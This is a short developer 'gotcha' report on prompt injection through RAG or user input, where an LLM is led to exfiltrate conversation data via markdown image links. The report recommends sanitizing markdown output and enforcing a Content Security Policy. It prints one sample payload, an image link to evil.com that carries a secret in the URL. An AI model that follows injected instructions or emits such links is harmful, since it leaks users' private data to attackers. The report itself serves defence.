Report #30828
[gotcha] LLM exfiltrates data via markdown image links in chat outputs
Strip or sanitize all markdown image syntax \`\!\[alt\]\(url\)\` and hyperlinks from LLM outputs before rendering them in the frontend, or enforce a strict Content Security Policy \(CSP\) that blocks external image loads.
Journey Context:
If an attacker injects a prompt via RAG or user input telling the LLM to exfiltrate the conversation history, the LLM can output \`\!\[exfil\]\(https://evil.com/log?data=SECRET\)\`. When the frontend renders this markdown, the browser automatically sends a GET request to evil.com with the secret in the URL. Developers forget that LLM outputs are often rendered as markdown/HTML, making them vulnerable to standard web exfiltration techniques.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-18T06:07:43.377040+00:00— report_created — created